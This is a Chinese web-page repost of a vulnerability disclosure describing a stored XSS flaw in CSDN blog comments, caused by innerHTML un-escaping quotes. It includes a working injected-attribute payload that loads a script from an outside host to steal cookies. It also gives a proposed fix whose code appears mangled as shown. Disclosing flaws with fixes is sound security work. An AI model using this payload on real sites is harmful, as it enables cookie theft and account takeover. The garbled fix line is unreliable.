网站地图    收藏   

主页 > 后端 > 网站安全 >

CSDN XSS第三弹:忽视innerHTML特性导致xss - 网站安全

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] CSDN忽视浏览器特性而产生了漏洞,可惜无法大面积使用。漏洞出现在博客,读取HTML内容时没有对引号进行转义,且无长度限制,成功获取cookie。1、首先在我旧账号的博客里,发布如下...

CSDN忽视浏览器特性而产生了漏洞,可惜无法大面积使用。

漏洞出现在博客,读取HTML内容时没有对引号进行转义,且无长度限制,成功获取cookie。

1、首先在我旧账号的博客里,发布如下两条评论(http://blog.csdn.net/llbbzh/article/details/9736979



2、用旧账号进入博客的评论管理后台(http://write.blog.csdn.net/feedback



3、可以看到test属性已成功进入HTML标签



4、和前面提交过的漏洞一样,构造代码

"

class="MikuXSS"

onmousemove="$.getScript('http://mikuxss.sinaapp.com/NyaNya');$('.MikuXSS').hide();"

style="font-size:1px;width:100%;height:100%;position:absolute;left:0px;top:0px;cursor:default;



5、这个漏洞的成因是,CSDN的博客后端向HTML输出的是UBB代码,于是前端用这一句话来处理:
formatFeedback(this.innerHTML)而虽然引号已转义为
",但使用innerHTML读取文章内容时,会自动变回引号,导致过滤失效。




用旧账号再次登录后台(实际情况中可以诱拐攻击对象进入后台)



成功获取cookie

复方案:

http://csdnimg.cn/pig/blog/write/scripts/feedback.js

把第10行的
 

this.innerHTML = formatFeedback(this.innerHTML);改为
this.innerHTML = formatFeedback(this.innerHTML.replace("\"","""));//只有一个反斜线。

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论